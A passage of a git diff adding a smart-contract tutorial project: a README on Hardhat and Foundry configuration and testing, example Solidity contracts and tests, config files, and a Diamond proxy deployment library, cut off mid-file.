+import {Fragment, FunctionFragment} from "ethers";
+
+const funcNameSet = new Set<string>()
+const funcSelectorMap = new Map<string, string>()
+const eventErrorSet = new Set<string>()
+const config: HardhatUserConfig = {
+    // warnings: {
+    //     'contracts/legacy/**/*': {
+    //         default: 'error',
+    //     },
+    // },
+    diamondAbi: {
+        name: "DiamondCombined",
+        include: ["Facet"],
+        strict: true,
+        filter: function (abiElement, index, fullAbi, fullyQualifiedName) {
+            if (fullyQualifiedName.endsWith("Test1Facet") || fullyQualifiedName.endsWith("Test2Facet")) {
+                return false
+            }
+            // distinct event and error
+            if (abiElement.type === "event" || abiElement.type === "error") {
+                const minimalAbi = Fragment.from(abiElement).format("minimal")
+                if (eventErrorSet.has(minimalAbi)) {
+                    return false
+                }
+                eventErrorSet.add(minimalAbi)
+                return true;
+            }
+            const selector = FunctionFragment.from(abiElement).selector
+            if (funcSelectorMap.has(selector)) {
+                throw new Error(`${FunctionFragment.from(abiElement).selector}, see:\n\t${Fragment.from(abiElement).format("minimal")}::${fullyQualifiedName}\n\t${funcSelectorMap.get(selector)}\n`)
+            }
+            funcSelectorMap.set(selector, `${Fragment.from(abiElement).format("minimal")}::${fullyQualifiedName}`)
+            if (!funcNameSet.has(fullyQualifiedName)) {
+                funcNameSet.add(fullyQualifiedName)
+                console.log(` >>> [hardhat-diamond-abi] ${fullyQualifiedName}`)
+            }
+            return true;
+        },
+    },
+    abiExporter: [{
+        runOnCompile: true,
+        clear: true,
+        path: './abi-pure/general',
+        format: "json"
+    }, {
+        runOnCompile: true,
+        clear: true,
+        path: './abi-pure/ethers',
+        pretty: true
+    }],
+    networks: {
+        hardhat: {
+            mining: {
+                interval: 50
+            }
+            // forking: {
+            //   url: "https://arbitrum.public-rpc.com",
+            //   // blockNumber: 132401260
+            // }
+        },
+        bsc: {
+            url: "https://bsc.rpc.blxrbdn.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        bsc_testnet: {
+            url: "https://bsc-testnet.publicnode.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        bsc_op_testnet: {
+            url: "https://opbnb-testnet-rpc.bnbchain.org",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        eth: {
+            url: "https://eth.public-rpc.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        arbitrum: {
+            url: "https://endpoints.omniatech.io/v1/arbitrum/one/public",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        arbitrum_goerli: {
+            url: "https://arbitrum-goerli.publicnode.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        }
+    },
+    etherscan: {
+        apiKey: process.env.ETHERSCAN_BSC as string
+    },
+    solidity: {
+        compilers: [
+            standardSettings("0.8.21"),
+        ]
+    },
+};
+
+function standardSettings(version: string) {
+    return {
+        version: version,
+        settings: {
+            optimizer: {
+                enabled: true,
+                runs: 200,
+            },
+            // viaIR: true
+        },
+    }
+}
+
+export default config;
+```
+
+- .gitignore for Team Collaboration (Recommended to be edited flexibly based on the project)
+
+```git
+*.swp
+*.swo
+
+# Logs
+logs
+*.log
+
+# Runtime data
+pids
+*.pid
+*.seed
+allFiredEvents
+scTopics
+
+# Coverage directory used by tools like istanbul
+coverage
+coverage.json
+coverageEnv
+
+# node-waf configuration
+.lock-wscript
+
+# Dependency directory
+node_modules
+
+# Debug log from npm
+npm-debug.log
+
+# local env variables
+.env
+
+# truffle build directory
+build/
+
+# macOS
+.DS_Store
+
+# truffle
+.node-xmlhttprequest-*
+
+# IntelliJ IDE
+.idea
+
+# vscode IDE
+.vscode
+
+# docs artifacts
+docs/modules/api
+
+# only used to package @openzeppelin/contracts
+contracts/build/
+contracts/README.md
+
+# temporary artifact from solidity-coverage
+.coverage_artifacts
+.coverage_cache
+.coverage_contracts
+
+# hardat-exposed
+contracts-exposed
+
+# Hardhat
+cache
+artifacts
+
+# Foundry
+out
+cache_forge
+
+# Certora
+.certora*
+.last_confs
+certora_*
+.zip-output-url.txt
+
+# extends
+/abi
+/abi-pure
+
+/typechain-types
+# Note: Here, all JavaScript files are ignored
+/**/*.js
+```
+
+## Testing Techniques
+
+### hardhat
+
+#### Contract Layer Testing
+
+Contracts can be debugged, and debugging output will be displayed on the Hardhat local network using the following syntax:
+
+```solidity
+import "hardhat/console.log";
+
+// TODO Add log statements at critical points in the contract
+console.log(parameter1, parameter2...);
+
+```
+
+#### Unit Testing/Functional Testing
+
+The `describe` function's callback functions include four testing-related functions: `it`, `before`, `beforeEach`, and `afterEach`, as follows:
+
+- `it`: Tests a unit, simulating a testing behavior. Units are independent, and they do not share state with each other.
+- `before`: Executes before all unit tests, only running once. It is typically used for initialization, such as reading deployment accounts.
+- `beforeEach`: Executes before each unit test, running once for every test. It is often used to execute the `loadFixture` function.
+- `afterEach`: Executes after each unit test, running once for every test. It is rarely used.
+
+The `loadFixture(func)` function is a blockchain network snapshot function that records the blockchain state when `func` is first executed. In subsequent uses, it directly restores the state instead of re-executing the setup.
+
+```typescript
+describe("Diamond Contract", () => {
+    let user: HardhatEthersSigner;
+
+    afterEach(() => {
+        console.log("afterEach------------------------------------");
+    });
+
+    beforeEach(() => {
+        console.log("beforeEach------------------------------------");
+    });
+
+    before("user", async () => {
+        console.log("before------------------------------------");
+        const accounts = await ethers.getSigners();
+        user = accounts[0];
+    });
+
+    async function deployFixture() {
+        return await Diamonds.deploy(false);
+    }
+
+    it("Proxy Test Example", async () => {
+        const diamond = await loadFixture(deployFixture);
+        const [example] = await deploy(false, "Example");
+        await diamond.proxy(example);
+        await (await (example.attach(diamond.address) as Example).setNumber(1024n)).wait();
+        expect(await (example.attach(diamond.address) as Example).getNumber()).eq(1024n);
+    });
+
+    it("Upgrade Test Example", async () => {
+        const diamond = await loadFixture(deployFixture);
+        const [oldExample] = await deploy(false, "Example");
+        await diamond.proxy(oldExample);
+        const [newExample] = await deploy(false, "Example");
+        await diamond.upgrade(oldExample.address, newExample);
+        // assert
+        const selector = (newExample as any as Example).interface.getFunction("setNumber").selector;
+        expect(await diamond.facetAddress(selector)).eq(newExample.address);
+    });
+});
+```
+
+#### Project Testing
+
+Project testing often involves multi-platform integration, such as `hardhat + Golang`. Therefore, it's important to maintain the blockchain network state persistently. In general, you will write these tests in the `scripts/` folder. Here are the relevant commands:
+
+- Scenario 1: Local Network Testing (including `fork`)
+    - `npx hardhat node`
+    - `npx hardhat --network hardhat run <script-path>`
+
+- Scenario 2: Online Blockchain Testing (Testnet)
+    - `npx hardhat --network <network-name> run <script-path>`
+
+### foundry
+
+#### Contract Layer Testing
+
+```solidity
+import {console} from "forge-std/Test.sol";
+
+// TODO: Place log messages at key locations in your contract
+console.log(parameter1, parameter2, ...);
+```
+
+#### Unit Testing
+
+**It is not recommended to use foundry for writing functional tests. Front-end developers may need contract usage examples, so functional tests written in JavaScript/TypeScript are more reusable.**
+
+> foundry Contract Testing with new
+
+The new method is usually used in conjunction with a setUp function. It cannot be used to test internal contract functions. Here's an example:
+
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {Example} from "../contracts/Example.sol";
+
+contract ExampleTest is Test {
+    Example public example;
+
+    // Set up the test environment for each unit test (this function is executed automatically)
+    function setUp() public {
+        example = new Example();
+        example.setNumber(0);
+    }
+
+    // Regular unit test
+    function test_setNumber() public {
+        example.setNumber(1024);
+        assertEq(example.getNumber(), 1024);
+    }
+
+    // Fuzz testing
+    function testFuzz_SetNumber(uint256 x) public {
+        example.setNumber(x);
+        assertEq(example.getNumber(), x);
+    }
+}
+```
+
+> foundry Contract Testing with library
+
+It's important to note that foundry doesn't support generating test coverage reports for libraries. Any library functions called within contracts are identified as having 100% test coverage, and there's no workaround.
+
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {LibExample} from "../contracts/LibExample.sol";
+
+contract LibExampleTest is Test {
+
+    // Fuzz testing: Verify that values smaller than type(uint160).max can be converted successfully
+    function testFuzz_toUint160(uint256 n) public {
+        // Skip if n > type(uint160).max
+        vm.assume(n <= type(uint160).max);
+        LibExample.toUint160(n);
+    }
+
+    // Fuzz testing: Verify that values greater than type(uint160).max throw an exception
+    function testFailFuzz_toUint160_overflow(uint256 n) public {
+        // Skip if n < type(uint160).max
+        vm.assume(n > type(uint160).max);
+        LibExample.toUint160(n);
+    }
+}
+```
+
+> foundry Contract Testing with override
+
+```cmd
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {OverrideExample} from "../contracts/OverrideExample.sol";
+
+contract OverrideExampleTest1 is Test, OverrideExample {
+
+    function setUp() public {
+        // init
+        until = 10 days;
+    }
+
+    // override
+    function _blockTimestamp() internal view override returns (uint256) {
+        return 10 days;
+    }
+
+    function test_transfer() public {
+        transfer();
+    }
+}
+```
+
+```cmd
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console2} from "forge-std/Test.sol";
+import {OverrideExample} from "../contracts/OverrideExample.sol";
+
+contract OverrideExampleTest2 is Test, OverrideExample {
+
+    function setUp() public {
+        // init
+        until = 10 days;
+    }
+
+    function testFail_transfer(uint256 x) public {
+        transfer();
+    }
+}
+```
+
+> foundry Contract Testing with JSON
+
+Using JSON for contract testing is not recommended unless your company has specialized tools for generating JSON test data.
+
+```solidity
+// 0- foundry.toml project configuration (./ indicates the project root)
+fs_permissions = [{ access = "read-write", path = "./"}]
+// 1- Contract inheritance
+contract Xxx is Test
+// 2- Interface integration
+using stdJson for string;
+// 3- Usage syntax (.XxxDatas represents accessing the XxxDatas property in the JSON)
+string memory json = vm.readFile("./test/testdata/Xxx.t.json");
+bytes memory bytesData = json.parseRaw(".XxxDatas");
+XxxData[] memory t = abi.decode(bytesData, (XxxData[]));
+
+// Note:
+// 1- The order of struct fields must be sorted strictly in alphabetical order, e.g., XxxData
+// 2- Numeric values in JSON must not be enclosed in double quotes. You can use scientific notation, e.g., 200e18.
+// 3- The argument for json.parseRaw can be an empty string ("") to load the entire JSON file.
+```
+
+## Conclusion
+
+My friend, I started my journey in traditional development and later ventured into blockchain development, but unfortunately, I've forgotten at least 90% of what I've learned over time. Therefore, I strongly dislike listing detailed knowledge points, as it's a waste of everyone's time.
+
+In my opinion, explaining the minimum knowledge subset is the most important. This is also the principle behind my current sharing – providing the least amount of information to help you get started quickly. It might take you just 1 hour or maybe 10 minutes to say, "Oh, I've got it, I can start developing."
+
+`Less is more.`
+
diff --git a/basic/79-hardhat-foundry/SigUtils.sol b/basic/79-hardhat-foundry/SigUtils.sol
new file mode 100644
index 000000000..9f151c996
--- /dev/null
+++ b/basic/79-hardhat-foundry/SigUtils.sol
@@ -0,0 +1,57 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.13;
+
+contract SigUtils {
+    bytes32 internal DOMAIN_SEPARATOR;
+
+    constructor(bytes32 _DOMAIN_SEPARATOR) {
+        DOMAIN_SEPARATOR = _DOMAIN_SEPARATOR;
+    }
+
+    // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
+    bytes32 public constant PERMIT_TYPEHASH =
+        0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
+
+    struct Permit {
+        address owner;
+        address spender;
+        uint256 value;
+        uint256 nonce;
+        uint256 deadline;
+    }
+
+    // computes the hash of a permit
+    function getStructHash(Permit memory _permit)
+        internal
+        pure
+        returns (bytes32)
+    {
+        return
+            keccak256(
+                abi.encode(
+                    PERMIT_TYPEHASH,
+                    _permit.owner,
+                    _permit.spender,
+                    _permit.value,
+                    _permit.nonce,
+                    _permit.deadline
+                )
+            );
+    }
+
+    // computes the hash of the fully encoded EIP-712 message for the domain, which can be used to recover the signer
+    function getTypedDataHash(Permit memory _permit)
+        public
+        view
+        returns (bytes32)
+    {
+        return
+            keccak256(
+                abi.encodePacked(
+                    "\x19\x01",
+                    DOMAIN_SEPARATOR,
+                    getStructHash(_permit)
+                )
+            );
+    }
+}
\ No newline at end of file
diff --git a/basic/79-hardhat-foundry/contracts/Example.sol b/basic/79-hardhat-foundry/contracts/Example.sol
new file mode 100644
index 000000000..2a639aa8e
--- /dev/null
+++ b/basic/79-hardhat-foundry/contracts/Example.sol
@@ -0,0 +1,30 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import "hardhat/console.sol";
+
+contract Example {
+    bytes32 constant STORAGE_POSITION = keccak256("diamond.example.storage");
+
+    struct ExampleStorage {
+        uint256 number;
+    }
+
+    function Storage() internal pure returns (ExampleStorage storage s) {
+        bytes32 position = STORAGE_POSITION;
+        assembly {
+            s.slot := position
+        }
+        return s;
+    }
+
+    function setNumber(uint256 newNumber) public {
+        console.log("\t setNumber:", newNumber);
+        Storage().number = newNumber;
+    }
+
+    function getNumber() view public returns (uint256) {
+        console.log("\t getNumber:", Storage().number);
+        return Storage().number;
+    }
+}
diff --git a/basic/79-hardhat-foundry/contracts/LibExample.sol b/basic/79-hardhat-foundry/contracts/LibExample.sol
new file mode 100644
index 000000000..c8c744528
--- /dev/null
+++ b/basic/79-hardhat-foundry/contracts/LibExample.sol
@@ -0,0 +1,8 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+library LibExample {
+    function toUint160(uint256 y) internal pure returns (uint160 z) {
+        require((z = uint160(y)) == y);
+    }
+}
diff --git a/basic/79-hardhat-foundry/contracts/NewExample.sol b/basic/79-hardhat-foundry/contracts/NewExample.sol
new file mode 100644
index 000000000..846692f9e
--- /dev/null
+++ b/basic/79-hardhat-foundry/contracts/NewExample.sol
@@ -0,0 +1,30 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import "hardhat/console.sol";
+
+contract NewExample {
+    bytes32 constant STORAGE_POSITION = keccak256("diamond.example.storage");
+
+    struct ExampleStorage {
+        uint256 number;
+    }
+
+    function Storage() internal pure returns (ExampleStorage storage s) {
+        bytes32 position = STORAGE_POSITION;
+        assembly {
+            s.slot := position
+        }
+        return s;
+    }
+
+    function setNumber(uint256 newNumber) public {
+        console.log("\t setNumber:", newNumber);
+        Storage().number = newNumber;
+    }
+
+    function getNumber() view public returns (uint256) {
+        console.log("\t getNumber:", Storage().number);
+        return Storage().number;
+    }
+}
diff --git a/basic/79-hardhat-foundry/contracts/OverrideExample.sol b/basic/79-hardhat-foundry/contracts/OverrideExample.sol
new file mode 100644
index 000000000..89935e07e
--- /dev/null
+++ b/basic/79-hardhat-foundry/contracts/OverrideExample.sol
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+contract OverrideExample {
+
+    uint256 public until;
+
+    constructor(){
+        until = block.timestamp;
+    }
+
+    function _blockTimestamp() internal view virtual returns (uint256) {
+        return block.timestamp;
+    }
+
+    function transfer() public {
+        require(until <= _blockTimestamp(), "Time has not yet come.");
+        // TODO
+    }
+}
diff --git a/basic/79-hardhat-foundry/foundry.toml b/basic/79-hardhat-foundry/foundry.toml
new file mode 100644
index 000000000..62fce8315
--- /dev/null
+++ b/basic/79-hardhat-foundry/foundry.toml
@@ -0,0 +1,9 @@
+
+[profile.default]
+src = 'contracts'
+out = 'out'
+libs = ['node_modules', 'lib']
+test = 'test'
+cache_path  = 'cache_forge'
+
+no_match_test = "contracts"
diff --git a/basic/79-hardhat-foundry/hardhat.config.ts b/basic/79-hardhat-foundry/hardhat.config.ts
new file mode 100644
index 000000000..6eb2486f4
--- /dev/null
+++ b/basic/79-hardhat-foundry/hardhat.config.ts
@@ -0,0 +1,118 @@
+import {HardhatUserConfig} from "hardhat/config";
+import "@nomicfoundation/hardhat-toolbox";
+import "@nomicfoundation/hardhat-foundry";
+import "@openzeppelin/hardhat-upgrades";
+import "hardhat-abi-exporter";
+import "dotenv/config";
+import "hardhat-ignore-warnings";
+import "hardhat-diamond-abi";
+import {Fragment, FunctionFragment} from "ethers";
+
+const funcNameSet = new Set<string>()
+const funcSelectorMap = new Map<string, string>()
+const eventErrorSet = new Set<string>()
+const config: HardhatUserConfig = {
+    // warnings: {
+    //     'contracts/legacy/**/*': {
+    //         default: 'error',
+    //     },
+    // },
+    diamondAbi: {
+        name: "DiamondCombined",
+        include: ["Facet"],
+        strict: true,
+        filter: function (abiElement, index, fullAbi, fullyQualifiedName) {
+            if (fullyQualifiedName.endsWith("Test1Facet") || fullyQualifiedName.endsWith("Test2Facet")) {
+                return false
+            }
+            // distinct event and error
+            if (abiElement.type === "event" || abiElement.type === "error") {
+                const minimalAbi = Fragment.from(abiElement).format("minimal")
+                if (eventErrorSet.has(minimalAbi)) {
+                    return false
+                }
+                eventErrorSet.add(minimalAbi)
+                return true;
+            }
+            const selector = FunctionFragment.from(abiElement).selector
+            if (funcSelectorMap.has(selector)) {
+                throw new Error(`${FunctionFragment.from(abiElement).selector}, see:\n\t${Fragment.from(abiElement).format("minimal")}::${fullyQualifiedName}\n\t${funcSelectorMap.get(selector)}\n`)
+            }
+            funcSelectorMap.set(selector, `${Fragment.from(abiElement).format("minimal")}::${fullyQualifiedName}`)
+            if (!funcNameSet.has(fullyQualifiedName)) {
+                funcNameSet.add(fullyQualifiedName)
+                console.log(` >>> [hardhat-diamond-abi] ${fullyQualifiedName}`)
+            }
+            return true;
+        },
+    },
+    abiExporter: [{
+        runOnCompile: true,
+        clear: true,
+        path: './abi-pure/general',
+        format: "json"
+    }, {
+        runOnCompile: true,
+        clear: true,
+        path: './abi-pure/ethers',
+        pretty: true
+    }],
+    networks: {
+        hardhat: {
+            mining: {
+                interval: 50
+            }
+            // forking: {
+            //   url: "https://arbitrum.public-rpc.com",
+            //   // blockNumber: 132401260
+            // }
+        },
+        bsc: {
+            url: "https://bsc.rpc.blxrbdn.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        bsc_testnet: {
+            url: "https://bsc-testnet.publicnode.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        bsc_op_testnet: {
+            url: "https://opbnb-testnet-rpc.bnbchain.org",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        eth: {
+            url: "https://eth.public-rpc.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        arbitrum: {
+            url: "https://endpoints.omniatech.io/v1/arbitrum/one/public",
+            accounts: [process.env.PRIVATE_KEY as string],
+        },
+        arbitrum_goerli: {
+            url: "https://arbitrum-goerli.publicnode.com",
+            accounts: [process.env.PRIVATE_KEY as string],
+        }
+    },
+    etherscan: {
+        apiKey: process.env.ETHERSCAN_BSC as string
+    },
+    solidity: {
+        compilers: [
+            standardSettings("0.8.21"),
+        ]
+    },
+};
+
+function standardSettings(version: string) {
+    return {
+        version: version,
+        settings: {
+            optimizer: {
+                enabled: true,
+                runs: 200,
+            },
+            // viaIR: true
+        },
+    }
+}
+
+export default config;
diff --git a/basic/79-hardhat-foundry/package.json b/basic/79-hardhat-foundry/package.json
new file mode 100644
index 000000000..e317718d0
--- /dev/null
+++ b/basic/79-hardhat-foundry/package.json
@@ -0,0 +1,28 @@
+{
+  "name": "79-hardhat-foundry",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@chainlink/contracts": "^0.8.0",
+    "@nomicfoundation/hardhat-foundry": "^1.1.1",
+    "@nomicfoundation/hardhat-toolbox": "^3.0.0",
+    "@openzeppelin/contracts": "^5.0.0",
+    "@openzeppelin/contracts-upgradeable": "^5.0.0",
+    "@openzeppelin/hardhat-upgrades": "^2.3.3",
+    "dotenv": "^16.3.1",
+    "hardhat": "^2.19.0",
+    "hardhat-abi-exporter": "^2.10.1",
+    "hardhat-diamond-abi": "^3.0.1",
+    "hardhat-exposed": "^0.3.13",
+    "hardhat-ignore-warnings": "^0.2.9",
+    "uniswap-v2-deploy-plugin": "^0.0.4"
+
+}
+}
diff --git a/basic/79-hardhat-foundry/remappings.txt b/basic/79-hardhat-foundry/remappings.txt
new file mode 100644
index 000000000..9f5b21595
--- /dev/null
+++ b/basic/79-hardhat-foundry/remappings.txt
@@ -0,0 +1,4 @@
+forge-std/=lib/forge-std/src/
+solmate/=lib/solmate/src/
+openzeppelin-contracts/=lib/openzeppelin-contracts/
+ds-test/=lib/forge-std/lib/ds-test/src/
diff --git a/basic/79-hardhat-foundry/scripts/deploy.ts b/basic/79-hardhat-foundry/scripts/deploy.ts
new file mode 100644
index 000000000..54ad6db05
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/deploy.ts
@@ -0,0 +1,13 @@
+import { ethers } from "hardhat";
+
+async function main() {
+  const example = await ethers.deployContract("Example");
+  await example.waitForDeployment();
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/79-hardhat-foundry/scripts/libraries/Diamonds.ts b/basic/79-hardhat-foundry/scripts/libraries/Diamonds.ts
new file mode 100644
index 000000000..7866a0d52
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/Diamonds.ts
@@ -0,0 +1,346 @@
+import {
+    AddressLike,
+    BaseContract,
+    BytesLike,
+    Contract,
+    ContractRunner,
+    FunctionFragment,
+} from "ethers"
+import { ethers } from "hardhat"
+import { DiamondCutFacet, DiamondLoupeFacet, OwnershipFacet } from "./typechain-types"
+import { deploy } from "./deployLib"
+import DiamondAbi from "./abi/Diamond.json"
+/**
+ * 钻石合约的类型，包含多个功能接口。
+ */
+export type Diamond = DiamondCutFacet & DiamondLoupeFacet & OwnershipFacet & {
+    /**
+     * 钻石合约的地址。
+     */
+    address: string,
+    logic?: {
+        /**
+         * 钻石合约的切面功能。
+         */
+        diamondCutFacet: string,
+        /**
+         * 钻石合约的放大镜功能(用于查看切面)
+         */
+        diamondLoupeFacet: string,
+        /**
+         * 钻石合约的所有权功能。
+         */
+        ownershipFacet: string,
+    },
+    /**
+     * 代理功能，用于创建代理合约。
+     */
+    proxy: typeof DiamondAction.prototype.proxy,
+    /**
+     * 编码代理功能，用于生成代理合约的编码数据。
+     */
+    encodeProxy: typeof DiamondAction.prototype.encodeProxy,
+    /**
+     * 升级功能，用于升级合约。
+     */
+    upgrade: typeof DiamondAction.prototype.upgrade,
+    /**
+     * 编码升级功能，用于生成升级合约的编码数据。
+     */
+    encodeUpgrade: typeof DiamondAction.prototype.encodeUpgrade,
+}
+
+/**
+ * 钻石合约的切面操作类型。
+ */
+export const FacetCutAction = { Add: 0, Replace: 1, Remove: 2 }
+
+/**
+ * 选择器的类型，包含合约、克隆函数和名称函数。
+ */
+export type Selectors = string[] & {
+    /**
+     * 合约的基础信息。
+     */
+    contract: BaseContract,
+    /**
+     * 克隆选择器，用于复制选择器数组。
+     * @param functionNameOrSigs 要复制的选择器数组或函数名。
+     * @param exclude 是否排除选择器。
+     * @returns 复制后的选择器。
+     */
+    clone: (functionNameOrSigs: string[], exclude?: boolean) => Selectors,
+    /**
+     * 获取选择器名称映射。
+     * @returns 选择器名称映射。
+     */
+    names: () => { [name: string]: string }
+}
+
+export class Diamonds {
+    // Diamond version: 2
+    /**
+     * 部署Diamond合约并返回一个Diamond实例。
+     * @param {boolean} isVerify - 是否需要验证合约部署。
+     * @returns {Promise<Diamond>} - 包含Diamond合约的Promise。
+     */
+    static deploy = async (isVerify: boolean): Promise<Diamond> => {
+        // 获取部署合约的所有者
+        const owner = (await ethers.getSigners())[0]
+
+        // 部署各个Diamond合约的关键组件
+        const [
+            diamondInit,
+            diamondCutFacet,
+            diamondLoupeFacet,
+            ownershipFacet,
+        ] = await deploy(isVerify, "DiamondInit", "DiamondCutFacet", "DiamondLoupeFacet", "OwnershipFacet")
+
+        // 部署Diamond代理合约
+        const [diamondProxy] = await deploy(isVerify, ["Diamond", [owner.address, diamondCutFacet.address]])
+
+        // 创建Diamond合约实例
+        const diamond = new Contract(diamondProxy.address, DiamondAbi, owner) as any as Diamond
+        diamond.address = diamondProxy.address
+        diamond.logic = {
+            diamondCutFacet: diamondCutFacet.address,
+            diamondLoupeFacet: diamondLoupeFacet.address,
+            ownershipFacet: ownershipFacet.address,
+        }
+
+        // 执行diamondCut并初始化
+        const tx = await diamond.diamondCut([
+            {
+                facetAddress: diamondLoupeFacet.address,
+                action: FacetCutAction.Add,
+                functionSelectors: Diamonds.parseSelectors(diamondLoupeFacet),
+            },
+            {
+                facetAddress: ownershipFacet.address,
+                action: FacetCutAction.Add,
+                functionSelectors: Diamonds.parseSelectors(ownershipFacet),
+            }
+        ], diamondInit.address, diamondInit.interface.encodeFunctionData("init"))
+        await tx.wait()
+
+        // 返回包含Diamond实例的Promise
+        return Diamonds.withAction(diamond)
+    }
+
+
+    /**
+     * 通过指定的Diamond合约地址和运行者创建一个Diamond实例。
+     * @param {string} diamond - 要创建实例的Diamond合约地址。
+     * @param {ContractRunner | null | undefined} runner - 可选参数，用于指定合约运行者。
+     * @returns {Diamond} - 包含Diamond合约的实例。
+     */
+    static from = (diamond: string, runner?: ContractRunner | null | undefined): Diamond => {
+        // 创建一个Diamond合约实例并返回
+        return Diamonds.withAction(new Contract(diamond, DiamondAbi, runner) as any as Diamond)
+    }
+
+
+    /**
+     * 解析指定合约的函数选择器并返回一个函数选择器集合。
+     * @param {BaseContract} contract - 要解析函数选择器的合约对象。
+     * @param {string[]} funcHeaderOrSigs - 可选参数，要包含或排除的函数头部或签名数组。
+     * @returns {Selectors} - 包含函数选择器的集合。
+     */
+    static parseSelectors = (contract: BaseContract, funcHeaderOrSigs?: string[]) => {
+        let selectors: Selectors = [] as any
+
+        // 遍历合约接口中的每个函数并将其选择器添加到集合中
+        contract.interface.forEachFunction((func: FunctionFragment) => {
+            selectors.push(func.selector)
+        })
+
+        selectors.contract = contract
+
+        // 获取函数名称的映射
+        selectors.names = function () {
+            let names = {} as { [name: string]: string }
+            contract.interface.forEachFunction((func: FunctionFragment) => {
+                for (let selector of this) {
+                    if (func.selector == selector) {
+                        names[selector] = func.format("minimal")
+                        break
+                    }
+                }
+            })
+            return names
+        }
+
+        // 克隆选择器集合并可选择性地排除或包含特定函数头部或签名
+        selectors.clone = function (funcHeaderOrSigs: string[], exclude?: boolean) {
+            const selectors = this.filter((selector: string) => {
+                for (const funcHeaderOrSig of funcHeaderOrSigs) {
+                    if (selector === Diamonds.parseSelector(funcHeaderOrSig)) {
+                        return !exclude
+                    }
+                }
+                return exclude
+            }) as Selectors
+            console.log(selectors)
+            selectors.contract = this.contract
+            selectors.clone = this.clone.bind(selectors)
+            selectors.names = this.names.bind(selectors)
+            return selectors
+        }
+
+        // 如果提供了要包含或排除的函数头部或签名数组，则应用克隆操作
+        if (funcHeaderOrSigs?.length) selectors = selectors.clone(funcHeaderOrSigs)
+        return selectors
+    }
+
+
+    /**
+     * 创建包含DiamondAction功能的Diamond实例。
+     * @param {Diamond} diamond - 要添加DiamondAction功能的Diamond实例。
+     * @returns {Diamond} - 包含DiamondAction功能的Diamond实例。
+     */
+    private static withAction = (diamond: Diamond): Diamond => {
+        // 创建DiamondAction实例并将其功能添加到Diamond
+        const diamondAction = new DiamondAction(diamond)
+        diamond.proxy = diamondAction.proxy
+        diamond.upgrade = diamondAction.upgrade
+        diamond.encodeProxy = diamondAction.encodeProxy
+        diamond.encodeUpgrade = diamondAction.encodeUpgrade
+
+        return diamond
+    }
+
+
+    /**
+     * 解析函数头部或签名并返回相应的函数选择器。
+     * @param {string} funcHeaderOrSig - 要解析的函数头部或签名。
+     * @returns {string | undefined} - 如果函数头部或签名有效，则返回相应的函数选择器；否则返回undefined。
+     */
+    private static parseSelector = (funcHeaderOrSig: string) => {
+        // 如果提供的字符串以 "0x" 开头，认为它已经是一个函数选择器，直接返回
+        if (funcHeaderOrSig.startsWith("0x")) {
+            return funcHeaderOrSig
+        }
+
+        // 如果提供的字符串包含 "("，则视为函数头部，通过 FunctionFragment 解析并返回相应的函数选择器
+        if (funcHeaderOrSig.includes("(")) {
+            return FunctionFragment.from(funcHeaderOrSig).selector
+        }
+        // 如果不符合以上条件，则返回undefined
+    }
+}
+
+/**
+ * 钻石操作类，用于管理钻石合约的操作。
+ */
+class DiamondAction {
+    readonly diamond: Diamond
+
+    /**
+     * 创建一个新的DiamondAction实例。
+     * @param diamond 钻石合约实例。
+     */
+    constructor(diamond: Diamond) {
+        this.diamond = diamond
+    }
+
+    /**
+     * 创建代理合约。
+     * @param newFacet 新的合约。
+     * @param init 初始化地址。
+     * @param initData 初始化数据。
+     * @returns 返回代理合约的结果。
+     */
+    proxy = async (newFacet: BaseContract, init?: AddressLike, initData?: BytesLike) => {
+        return await this.do(undefined, newFacet, init, initData)
+    }
+
+    /**
+     * 编码代理合约。
+     * @param newFacet 新的合约。
+     * @param init 初始化地址。
+     * @param initData 初始化数据。
+     * @returns 返回编码后的代理合约数据。
+     */
+    encodeProxy = async (newFacet: BaseContract, init?: AddressLike, initData?: BytesLike) => {
+        return await this.encodeDo(undefined, newFacet, init, initData)
+    }
+
+    /**
+     * 升级合约。
+     * @param oldFacet 旧合约地址。
+     * @param newFacet 新的合约。
+     * @param init 初始化地址。
+     * @param initData 初始化数据。
+     * @returns 返回升级合约的结果。
+     */
+    upgrade = async (oldFacet: AddressLike, newFacet: BaseContract, init?: AddressLike, initData?: BytesLike) => {
+        return await this.do(oldFacet, newFacet, init, initData)
+    }
+
+    /**
+     * 编码升级合约。
+     * @param oldFacet 旧合约地址。
+     * @param newFacet 新的合约。
+     * @param init 初始化地址。
